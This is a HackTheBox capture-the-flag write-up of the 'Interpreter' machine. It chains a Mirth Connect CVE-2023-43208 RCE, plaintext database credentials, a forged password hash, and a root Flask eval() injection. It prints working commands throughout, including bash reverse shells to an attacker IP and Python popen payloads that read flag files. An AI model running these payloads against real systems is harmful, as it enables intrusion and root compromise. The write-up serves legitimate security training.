HackTheBox — Interpreter Writeup

Machine Info

  • Name: Interpreter
  • IP: 10.129.244.184
  • OS: Linux (Debian)
  • Difficulty: Medium
  • Key Skills: CVE Exploitation, Database Manipulation, Python eval() Injection

Summary

Interpreter is a Linux machine running Mirth Connect 4.4.0, a healthcare integration engine vulnerable to CVE-2023-43208 (pre-auth Remote Code Execution via Java deserialization). Initial access as the mirth service user leads to database credentials in plaintext config files. By resetting a user’s password hash in MariaDB, we authenticate to the Mirth Connect API. The real prize is a Flask application running as root on localhost:54321 that uses Python’s eval() on an f-string template containing user-controlled input — giving us arbitrary code execution as root.

Attack Chain:

CVE-2023-43208 → mirth shell → DB creds → Mirth API as sedric → eval() RCE as root

Reconnaissance

Port Scan

nmap -sC -sV -p- 10.129.244.184

Key open ports:

Port Service Details
22 SSH OpenSSH
80 HTTP Mirth Connect (redirects to 443)
443 HTTPS Mirth Connect 4.4.0 Web Interface
6661 TCP MLLP/HL7 Listener (Mirth Channel)

Visiting https://10.129.244.184 presents the Mirth Connect 4.4.0 login page. This version is vulnerable to CVE-2023-43208.


Initial Foothold — CVE-2023-43208

Vulnerability Overview

CVE-2023-43208 is a pre-authentication Remote Code Execution vulnerability in NextGen Healthcare’s Mirth Connect versions up to 4.4.0. It exploits an insecure Java deserialization endpoint at /api/users that accepts crafted XML payloads with the X-Requested-With: OpenAPI header, bypassing authentication entirely.

Exploitation

Clone the public exploit:

git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT /tmp/CVE-2023-43208-mirth-connect-rce-poc

Start a reverse shell listener:

nc -lvnp 4446

Encode the reverse shell payload using brace-substitution to avoid bad characters:

REVSHELL='bash -i >& /dev/tcp/YOUR_IP/4446 0>&1'
B64=$(echo "$REVSHELL" | base64 | tr -d '\n')

python3 /tmp/CVE-2023-43208-mirth-connect-rce-poc/CVE-2023-43208.py \
  -u "https://10.129.244.184" \
  -c "bash -c {echo,$B64}|{base64,-d}|bash"

We land a shell as the mirth service user:

mirth@interpreter:/usr/local/mirthconnect$ id
uid=103(mirth) gid=111(mirth) groups=111(mirth)

Pivoting to User — Database Password Reset

Discovering Database Credentials

The Mirth Connect configuration file contains plaintext database credentials:

cat /usr/local/mirthconnect/conf/mirth.properties

Key values extracted:

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw

Enumerating System Users

cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash

The user flag is at /home/sedric/user.txt but the mirth user cannot read it.

Extracting and Resetting the Mirth Password Hash

Connect to MariaDB:

mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod

View the existing password hash:

SELECT * FROM PERSON_PASSWORD;
PERSON_ID | PASSWORD                                         | PASSWORD_DATE
2         | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19

Mirth Connect uses Jasypt’s StandardStringDigester with SHA-256, 1000 iterations, and an 8-byte random salt. The hash format is base64(salt[8] + digest[32]).

Generate a new hash for a known password (admin123):

python3 -c "
import hashlib, os, base64
password = 'admin123'
salt = os.urandom(8)
digest = hashlib.sha256(salt + password.encode()).digest()
for i in range(999):
    digest = hashlib.sha256(digest).digest()
combined = salt + digest
print(base64.b64encode(combined).decode())
"

Update the database with the new hash:

UPDATE PERSON_PASSWORD SET PASSWORD='<generated_hash>' WHERE PERSON_ID=2;

Authenticating to the Mirth API

curl -s -k -c /tmp/mirth_cookies.txt \
  -H "X-Requested-With: XMLHttpRequest" \
  -X POST "https://10.129.244.184/api/users/_login" \
  -d "username=sedric&password=admin123"

Response: <status>SUCCESS</status> — we now have an authenticated API session as sedric.


Discovering the Root Attack Vector

Internal Service Enumeration

From the mirth shell:

ss -tlnp
LISTEN  127.0.0.1:54321   *   (python3)
LISTEN  127.0.0.1:3306    *   (mariadb)
LISTEN  0.0.0.0:6661      *   (java - Mirth HL7 listener)
LISTEN  0.0.0.0:443       *   (java - Mirth HTTPS)

Port 54321 on localhost is a Python process. Checking systemd:

cat /etc/systemd/system/notif.service
[Service]
Type=simple
ExecStart=/usr/bin/python3 /usr/local/bin/notif.py
Restart=always
User=root
WorkingDirectory=/usr/local/bin

A Flask application (notif.py) running as root. The file is owned root:sedric with permissions 0740 — meaning only root and the sedric group can read it.

Understanding the Data Flow

The existing Mirth channel “INTERPRETER - HL7 TO XML TO NOTIFY” reveals the pipeline:

HL7 message (port 6661) → Mirth transforms to XML → HTTP POST to localhost:54321/addPatient

The XML structure sent to the Flask app:

<patient>
  <timestamp>2024</timestamp>
  <sender_app>APP</sender_app>
  <id>1</id>
  <firstname>John</firstname>
  <lastname>Doe</lastname>
  <birth_date>01/01/2000</birth_date>
  <gender>M</gender>
</patient>

Response from the Flask app:

Patient John Doe (M), 26 years old, received from APP at 2024

Root — Python eval() Injection

Discovering the Vulnerability

The machine name “Interpreter” is the hint. Testing various injection payloads in the XML fields revealed that content wrapped in {curly braces} is being evaluated as Python code.

Testing {7+7} in the firstname field:

curl -s -X POST http://127.0.0.1:54321/addPatient \
  -H "Content-Type: application/xml" \
  -d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{7+7}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'

Response:

Patient 14 X (M), 26 years old, received from APP at 2024

7+7 was evaluated to 14. Confirming RCE:

curl -s -X POST http://127.0.0.1:54321/addPatient \
  -H "Content-Type: application/xml" \
  -d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{__import__("os").popen("id").read()}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'

Response:

Patient uid=0(root) gid=0(root) groups=0(root) X (M), 26 years old, received from APP at 2024

Remote Code Execution as root.

Root Cause — The Vulnerable Code

The notif.py source (readable after gaining root) shows the vulnerability:

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"

    # ... DOB validation ...

    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

The critical line is:

return eval(f"f'''{template}'''")

User-controlled input is embedded into an f-string that is then passed to eval(). While the regex filter blocks many special characters, it allows curly braces {}, parentheses (), quotes '", and alphanumeric characters — enough to construct arbitrary Python expressions like {__import__('os').popen('id').read()}.

Capturing the Flags

User flag:

curl -s -X POST http://127.0.0.1:54321/addPatient \
  -H "Content-Type: application/xml" \
  -d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{open("/home/sedric/user.txt").read()}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'

Root flag:

curl -s -X POST http://127.0.0.1:54321/addPatient \
  -H "Content-Type: application/xml" \
  -d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{open("/root/root.txt").read()}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'

Getting a Root Shell

# Listener on attacker machine
nc -lvnp 4447

# From mirth shell on target
curl -s -X POST http://127.0.0.1:54321/addPatient \
  -H "Content-Type: application/xml" \
  -d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{__import__("os").popen("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4447 0>&1\"").read()}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'

Lessons Learned

  1. Never use eval() on user-controlled input — even with regex filtering, the allowed character set ({}, (), quotes) was sufficient for full code execution.
  2. Plaintext credentials in config files enabled lateral movement from the Mirth service account to database access.
  3. Mirth Connect’s password hashing (Jasypt SHA-256) can be replicated to forge valid credentials when you have database write access.
  4. Internal services running as root that accept data from lower-privileged services create privilege escalation paths.
  5. Machine/challenge names are hints — “Interpreter” pointed directly at Python’s code interpretation via eval().